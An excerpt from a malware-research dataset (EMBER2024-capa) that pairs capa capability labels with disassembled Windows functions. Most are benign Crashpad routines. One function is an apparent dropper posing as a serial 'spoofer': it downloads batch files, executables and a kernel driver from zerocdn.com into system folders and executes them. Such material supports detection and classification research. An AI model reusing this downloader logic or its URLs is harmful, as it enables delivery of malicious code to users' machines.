joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14011cda0
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes

Disassembly:
jmp 0x14011cda0
push rsi
push rdi
push rbx
sub rsp, 0x180
mov rsi, rcx
mov rax, qword [0x1401e3a68]
xor rax, rsp
mov qword [rsp + 0x178], rax
cmp qword [rcx + 0x18], 7
jbe 0x14011cdc9
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14011ce02
and eax, 0x410
cmp eax, 0x410
jne 0x14011ce02
mov rcx, qword [rsp + 0x178]
xor rcx, rsp
call fcn.14014ac50
mov rcx, rsi
add rsp, 0x180
pop rbx
pop rdi
pop rsi
jmp 0x14011cef0
cmp qword [rsi + 0x18], 7
mov rcx, rsi
jbe 0x14011ce0f
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dil, 1
test eax, eax
jne 0x14011cecc
mov ecx, 2
call fcn.14003c410
test al, al
je 0x14011ceca
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str..._.._third_party_crashpad_crashpad_util_file_filesystem_win.cc
lea rdi, [rsp + 0x40]
mov rcx, rdi
mov r8d, 0x94
mov r9d, 2
call fcn.14003d2f0
lea rcx, [rsp + 0x50]
lea rdx, str.DeleteFile
call fcn.140002b70
mov rbx, rax
cmp qword [rsi + 0x18], 7
mov rax, rsi
jbe 0x14011ce7c
mov rax, qword [rsi]
lea rdx, [rsp + 0x30]
mov qword [rdx], rax
mov rax, qword [rsi + 0x10]
mov qword [rdx + 8], rax
lea rsi, [rsp + 0x158]
mov rcx, rsi
call fcn.14004ebe0
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
jbe 0x14011ceb2
mov rdx, qword [rsp + 0x158]
mov rcx, rbx
call fcn.140009cb0
mov rcx, rsi
call fcn.140006b10
mov rcx, rdi
call fcn.14003d430
xor edi, edi
mov rcx, qword [rsp + 0x178]
xor rcx, rsp
call fcn.14014ac50
mov eax, edi
add rsp, 0x180
pop rbx
pop rdi
pop rsi
ret
push rsi
push rdi
push rbx
sub rsp, 0x180
mov rsi, rcx
mov rax, qword [0x1401e3a68]
xor rax, rsp
mov qword [rsp + 0x178], rax
cmp qword [rcx + 0x18], 7
jbe 0x14011cf19
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dil, 1
test eax, eax
jne 0x14011cfd6
mov ecx, 2
call fcn.14003c410
test al, al
je 0x14011cfd4
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str..._.._third_party_crashpad_crashpad_util_file_filesystem_win.cc
lea rdi, [rsp + 0x40]
mov rcx, rdi
mov r8d, 0x2f
mov r9d, 2
call fcn.14003d2f0
lea rcx, [rsp + 0x50]
lea rdx, str.RemoveDirectory
call fcn.140002b70
mov rbx, rax
cmp qword [rsi + 0x18], 7
mov rax, rsi
jbe 0x14011cf86
mov rax, qword [rsi]
lea rdx, [rsp + 0x30]
mov qword [rdx], rax
mov rax, qword [rsi + 0x10]
mov qword [rdx + 8], rax
lea rsi, [rsp + 0x158]
mov rcx, rsi
call fcn.14004ebe0
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
jbe 0x14011cfbc
mov rdx, qword [rsp + 0x158]
mov rcx, rbx
call fcn.140009cb0
mov rcx, rsi
call fcn.140006b10
mov rcx, rdi
call fcn.14003d430
xor edi, edi
mov rcx, qword [rsp + 0x178]
xor rcx, rsp
call fcn.14014ac50
mov eax, edi
add rsp, 0x180
pop rbx
pop rdi
pop rsi
ret
Function at 0x14011cef0
Capabilities:
Delete directory

Disassembly:
jmp 0x14011cda0
push rsi
push rdi
push rbx
sub rsp, 0x180
mov rsi, rcx
mov rax, qword [0x1401e3a68]
xor rax, rsp
mov qword [rsp + 0x178], rax
cmp qword [rcx + 0x18], 7
jbe 0x14011cdc9
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14011ce02
and eax, 0x410
cmp eax, 0x410
jne 0x14011ce02
mov rcx, qword [rsp + 0x178]
xor rcx, rsp
call fcn.14014ac50
mov rcx, rsi
add rsp, 0x180
pop rbx
pop rdi
pop rsi
jmp 0x14011cef0
cmp qword [rsi + 0x18], 7
mov rcx, rsi
jbe 0x14011ce0f
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dil, 1
test eax, eax
jne 0x14011cecc
mov ecx, 2
call fcn.14003c410
test al, al
je 0x14011ceca
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str..._.._third_party_crashpad_crashpad_util_file_filesystem_win.cc
lea rdi, [rsp + 0x40]
mov rcx, rdi
mov r8d, 0x94
mov r9d, 2
call fcn.14003d2f0
lea rcx, [rsp + 0x50]
lea rdx, str.DeleteFile
call fcn.140002b70
mov rbx, rax
cmp qword [rsi + 0x18], 7
mov rax, rsi
jbe 0x14011ce7c
mov rax, qword [rsi]
lea rdx, [rsp + 0x30]
mov qword [rdx], rax
mov rax, qword [rsi + 0x10]
mov qword [rdx + 8], rax
lea rsi, [rsp + 0x158]
mov rcx, rsi
call fcn.14004ebe0
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
jbe 0x14011ceb2
mov rdx, qword [rsp + 0x158]
mov rcx, rbx
call fcn.140009cb0
mov rcx, rsi
call fcn.140006b10
mov rcx, rdi
call fcn.14003d430
xor edi, edi
mov rcx, qword [rsp + 0x178]
xor rcx, rsp
call fcn.14014ac50
mov eax, edi
add rsp, 0x180
pop rbx
pop rdi
pop rsi
ret
push rsi
push rdi
push rbx
sub rsp, 0x180
mov rsi, rcx
mov rax, qword [0x1401e3a68]
xor rax, rsp
mov qword [rsp + 0x178], rax
cmp qword [rcx + 0x18], 7
jbe 0x14011cf19
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dil, 1
test eax, eax
jne 0x14011cfd6
mov ecx, 2
call fcn.14003c410
test al, al
je 0x14011cfd4
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str..._.._third_party_crashpad_crashpad_util_file_filesystem_win.cc
lea rdi, [rsp + 0x40]
mov rcx, rdi
mov r8d, 0x2f
mov r9d, 2
call fcn.14003d2f0
lea rcx, [rsp + 0x50]
lea rdx, str.RemoveDirectory
call fcn.140002b70
mov rbx, rax
cmp qword [rsi + 0x18], 7
mov rax, rsi
jbe 0x14011cf86
mov rax, qword [rsi]
lea rdx, [rsp + 0x30]
mov qword [rdx], rax
mov rax, qword [rsi + 0x10]
mov qword [rdx + 8], rax
lea rsi, [rsp + 0x158]
mov rcx, rsi
call fcn.14004ebe0
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
jbe 0x14011cfbc
mov rdx, qword [rsp + 0x158]
mov rcx, rbx
call fcn.140009cb0
mov rcx, rsi
call fcn.140006b10
mov rcx, rdi
call fcn.14003d430
xor edi, edi
mov rcx, qword [rsp + 0x178]
xor rcx, rsp
call fcn.14014ac50
mov eax, edi
add rsp, 0x180
pop rbx
pop rdi
pop rsi
ret
Function at 0x14012bff0
Capabilities:
Get system information on windows

Disassembly:
push rsi
sub rsp, 0x170
mov rax, qword [0x1401e3a68]
xor rax, rsp
mov qword [rsp + 0x168], rax
lea rsi, [rsp + 0x28]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsi + 0x20], 0x100
jb 0x14012c068
mov ecx, 1
call fcn.14003c410
test al, al
je 0x14012c068
lea rdx, str..._.._third_party_crashpad_crashpad_snapshot_win_system_snapshot_win.cc
lea rsi, [rsp + 0x58]
mov rcx, rsi
mov r8d, 0xb0
mov r9d, 1
call fcn.14003c4c0
lea rcx, [rsp + 0x60]
lea rdx, str.dwNumberOfProcessors_exceeds_uint8_t_storage
call fcn.140002b70
mov rcx, rsi
call fcn.14003c960
mov esi, dword [rsp + 0x48]
cmp esi, 0x100
jb 0x14012c077
mov sil, 0xff
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
call fcn.14014ac50
mov eax, esi
add rsp, 0x170
pop rsi
ret
Function at 0x140140670
Capabilities:
Parse pe header

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x178
mov r14, r8
mov rbx, rdx
mov rsi, rcx
mov rax, qword [0x1401e3a68]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rdi, [rcx + 0x20]
mov rcx, rdi
call fcn.140140b00
lea r9, [rsp + 0x130]
mov r8d, 0x40
mov rcx, rsi
mov rdx, rax
call fcn.140148c70
test al, al
je 0x140140722
movzx eax, word [rsp + 0x130]
cmp eax, 0x5a4d
jne 0x140140765
mov rcx, rdi
call fcn.140140b00
movsxd rdi, dword [rsp + 0x16c]
add rdi, rax
mov r8d, 0x108
mov rcx, rsi
mov rdx, rdi
mov r9, rbx
call fcn.140148c70
test al, al
je 0x1401407a5
cmp dword [rbx], 0x4550
jne 0x1401407e5
mov sil, 1
test r14, r14
je 0x140140847
mov qword [r14], rdi
jmp 0x140140847
mov ecx, 1
call fcn.14003c410
test al, al
je 0x140140845
lea rdx, str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x154
mov r9d, 1
call fcn.14003c4c0
lea rcx, [rsp + 0x28]
lea rdx, str.could_not_read_dos_header_from
jmp 0x14014081f
mov ecx, 1
call fcn.14003c410
test al, al
je 0x140140845
lea rdx, str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x15a
mov r9d, 1
call fcn.14003c4c0
lea rcx, [rsp + 0x28]
lea rdx, str.invalid_e_magic_in_dos_header_of
jmp 0x14014081f
mov ecx, 1
call fcn.14003c410
test al, al
je 0x140140845
lea rdx, str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x162
mov r9d, 1
call fcn.14003c4c0
lea rcx, [rsp + 0x28]
lea rdx, str.could_not_read_nt_headers_from
jmp 0x14014081f
mov ecx, 1
call fcn.14003c410
test al, al
je 0x140140845
lea rdx, str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x168
mov r9d, 1
call fcn.14003c4c0
lea rcx, [rsp + 0x28]
lea rdx, str.invalid_signature_in_nt_headers_of
call fcn.140002b70
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x140140832
mov rsi, qword [rsi]
mov rcx, rax
mov rdx, rsi
call fcn.140009cb0
mov rcx, rdi
call fcn.14003c960
xor esi, esi
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14014ac50
mov eax, esi
add rsp, 0x178
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140140870
Capabilities:
Parse pe header

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x178
mov r14, r8
mov rbx, rdx
mov rsi, rcx
mov rax, qword [0x1401e3a68]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rdi, [rcx + 0x20]
mov rcx, rdi
call fcn.140140b00
lea r9, [rsp + 0x130]
mov r8d, 0x40
mov rcx, rsi
mov rdx, rax
call fcn.140148c70
test al, al
je 0x140140922
movzx eax, word [rsp + 0x130]
cmp eax, 0x5a4d
jne 0x140140965
mov rcx, rdi
call fcn.140140b00
movsxd rdi, dword [rsp + 0x16c]
add rdi, rax
mov r8d, 0xf8
mov rcx, rsi
mov rdx, rdi
mov r9, rbx
call fcn.140148c70
test al, al
je 0x1401409a5
cmp dword [rbx], 0x4550
jne 0x1401409e5
mov sil, 1
test r14, r14
je 0x140140a47
mov qword [r14], rdi
jmp 0x140140a47
mov ecx, 1
call fcn.14003c410
test al, al
je 0x140140a45
lea rdx, str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x154
mov r9d, 1
call fcn.14003c4c0
lea rcx, [rsp + 0x28]
lea rdx, str.could_not_read_dos_header_from
jmp 0x140140a1f
mov ecx, 1
call fcn.14003c410
test al, al
je 0x140140a45
lea rdx, str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x15a
mov r9d, 1
call fcn.14003c4c0
lea rcx, [rsp + 0x28]
lea rdx, str.invalid_e_magic_in_dos_header_of
jmp 0x140140a1f
mov ecx, 1
call fcn.14003c410
test al, al
je 0x140140a45
lea rdx, str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x162
mov r9d, 1
call fcn.14003c4c0
lea rcx, [rsp + 0x28]
lea rdx, str.could_not_read_nt_headers_from
jmp 0x140140a1f
mov ecx, 1
call fcn.14003c410
test al, al
je 0x140140a45
lea rdx, str..._.._third_party_crashpad_crashpad_snapshot_win_pe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x168
mov r9d, 1
call fcn.14003c4c0
lea rcx, [rsp + 0x28]
lea rdx, str.invalid_signature_in_nt_headers_of
call fcn.140002b70
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x140140a32
mov rsi, qword [rsi]
mov rcx, rax
mov rdx, rsi
call fcn.140009cb0
mov rcx, rdi
call fcn.14003c960
xor esi, esi
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14014ac50
mov eax, esi
add rsp, 0x178
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140142fd0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov dword [rcx + 0x48], 0x1003f
mov eax, dword [rdx + 0x234]
mov dword [rcx + 0x4c], eax
mov eax, dword [rdx + 0x238]
mov dword [rcx + 0x50], eax
mov eax, dword [rdx + 0x23c]
mov dword [rcx + 0x54], eax
mov eax, dword [rdx + 0x240]
mov dword [rcx + 0x58], eax
mov eax, dword [rdx + 0x24c]
mov dword [rcx + 0x5c], eax
mov eax, dword [rdx + 0x250]
mov dword [rcx + 0x60], eax
lea rdx, [rcx + 0x64]
lea rbx, [rdi + 0x34]
mov rcx, rbx
call fcn.1401195c0
movzx eax, word [rdi + 0x30]
mov dword [rsi + 0xd4], eax
movzx eax, word [rdi + 0x2e]
mov dword [rsi + 0xd8], eax
movzx eax, word [rdi + 0x2c]
mov dword [rsi + 0xdc], eax
movzx eax, word [rdi + 0x2a]
mov dword [rsi + 0xe0], eax
mov eax, dword [rdi + 0x10]
mov dword [rsi + 0xe4], eax
mov eax, dword [rdi + 0x14]
mov dword [rsi + 0xe8], eax
mov eax, dword [rdi + 4]
mov dword [rsi + 0xec], eax
mov eax, dword [rdi + 0xc]
mov dword [rsi + 0xf0], eax
mov eax, dword [rdi + 8]
mov dword [rsi + 0xf4], eax
mov eax, dword [rdi]
mov dword [rsi + 0xf8], eax
mov eax, dword [rdi + 0x18]
mov dword [rsi + 0xfc], eax
mov eax, dword [rdi + 0x20]
mov dword [rsi + 0x100], eax
movzx eax, word [rdi + 0x28]
mov dword [rsi + 0x104], eax
mov eax, dword [rdi + 0x24]
mov dword [rsi + 0x108], eax
mov eax, dword [rdi + 0x1c]
mov dword [rsi + 0x10c], eax
movzx eax, word [rdi + 0x32]
mov dword [rsi + 0x110], eax
add rsi, 0x114
mov r8d, 0x200
mov rcx, rsi
mov rdx, rbx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.14016e8e0
Function at 0x140151d14
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x140151d27
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.14015c15c
lea rdx, [0x1401e1678]
lea rcx, [rsp + 0x20]
call fcn.14016d47c
int3

Function at 0x14015d16c
Capabilities:
Set thread local storage value

Disassembly:
mov rdx, rcx
mov ecx, dword [0x1401eda30]
jmp fcn.140151d14

Function at 0x14015d4f8
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x1401eda30]
xor edx, edx
jmp fcn.140151d14

Function at 0x1401696d8
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x140169b20]
mov r9, qword [r9 + 8]
jmp fcn.140157448

Function at 0x140169700
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x140169b30]
mov r9, qword [r9 + 8]
jmp fcn.140157448
Function at 0x140001070
Capabilities:
Download url
Execute command
Receive data
Terminate process

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rcx, str.Please_wait_till_files_load...
call fcn.140001010
xor ebx, ebx
lea r8, str.C:Windows_vault.bat
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.https:__zerocdn.com_639295237_eHYSyun.bat
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Windows_vault.exe
xor ecx, ecx
lea rdx, str.https:__luxus.glory.zerocdn.com_Y20vVh6.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:WindowsSystem32driversdriver_helper1.exe
xor ecx, ecx
lea rdx, str.https:__luxus.blitz.zerocdn.com_mappa.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:WindowsSystem32driversdrv_fud.sys
xor ecx, ecx
lea rdx, str.https:__luxus.nailium.zerocdn.com_retard.sys
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x834
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003584]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Successfully_Installed_Required_Files.
call fcn.140001010
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003584]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._n_n__1__Spoof_n__2__Clean_n__3__Check_Serials_n_n_Choose_option:
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rsp + 0x30]
sub ecx, 1
je 0x1400011ab
sub ecx, 1
je 0x1400011a2
cmp ecx, 1
je 0x140001199
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400011d0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.start_C:Windows_vault.bat
jmp 0x1400011b2
lea rcx, str.start_C:Windows_vault.exe
jmp 0x1400011b2
lea rcx, str.C:WindowsSystem32driversdriver_helper1.exe_C:WindowsSystem32driversdrv_fud.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001400
add rsp, 0x40
pop rbx
ret

Function at 0x140001cc0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.api_ms_win_crt_stdio_l1_1_0.dll___p__commode
jne 0x140001d0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d0a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d0c
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
movups xmm0, xmmword [str..pipeMyPipe]
xor edi, edi
xor r9d, r9d
movups xmm1, xmmword [0x1400022f0]
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
movups xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x40], edi
movups xmmword [rsp + 0x58], xmm1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400010ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileW_Failed_With_Error:__d__n
call fcn.140001010
jmp 0x14000114e
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
mov r8d, 0x114
lea rdx, [0x140004080]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000111b
cmp dword [rsp + 0x40], 0x114
je 0x140001145
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteFile_Failed_With_Error:__d__n
call fcn.140001010
mov edx, dword [rsp + 0x40]
lea rcx, str._i__Wrote__d_Of__d_Bytes__n
mov r8d, 0x114
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001180
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x140001a40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a8a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a8a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a8a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a8a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a8a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a8c
xor al, al
add rsp, 0x28
ret
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x1400ea490]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1400ea4a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.1400cc150
jmp 0x14000123c
mov rax, qword [0x1400ea4a0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1400ea4a0]
mov dword [rax], 1
mov rax, qword [0x1400ea4e0]
mov rdx, rax
mov rax, qword [0x1400ea4d0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x1400ee024], 1
mov rax, qword [0x1400ea4a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1400ea4c0]
mov rdx, rax
mov rax, qword [0x1400ea4b0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x1400ea4a0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x1400ea490]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1400ea3e0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1400ea3e0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.1400cb3d8
mov rax, qword [0x1400ea520]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x1400ea480]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.1400cabd0
mov eax, dword [0x1400ee004]
lea rdx, [0x1400ee008]
mov ecx, eax
call fcn.14000147c
call fcn.1400ca967
mov rax, qword [0x1400ea410]
mov rax, qword [rax]
mov rdx, qword [0x1400ee010]
mov qword [rax], rdx
mov rcx, qword [0x1400ee010]
mov rdx, qword [0x1400ee008]
mov eax, dword [0x1400ee004]
mov r8, rcx
mov ecx, eax
call fcn.1400016d0
mov dword [0x1400ee01c], eax
mov eax, dword [0x1400ee020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x1400ee01c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x1400ee024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x1400ee01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400ea440]
mov dword [rax], 1
mov rax, qword [0x1400ea450]
mov dword [rax], 1
mov rax, qword [0x1400ea460]
mov dword [rax], 1
mov rax, qword [0x1400ea400]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret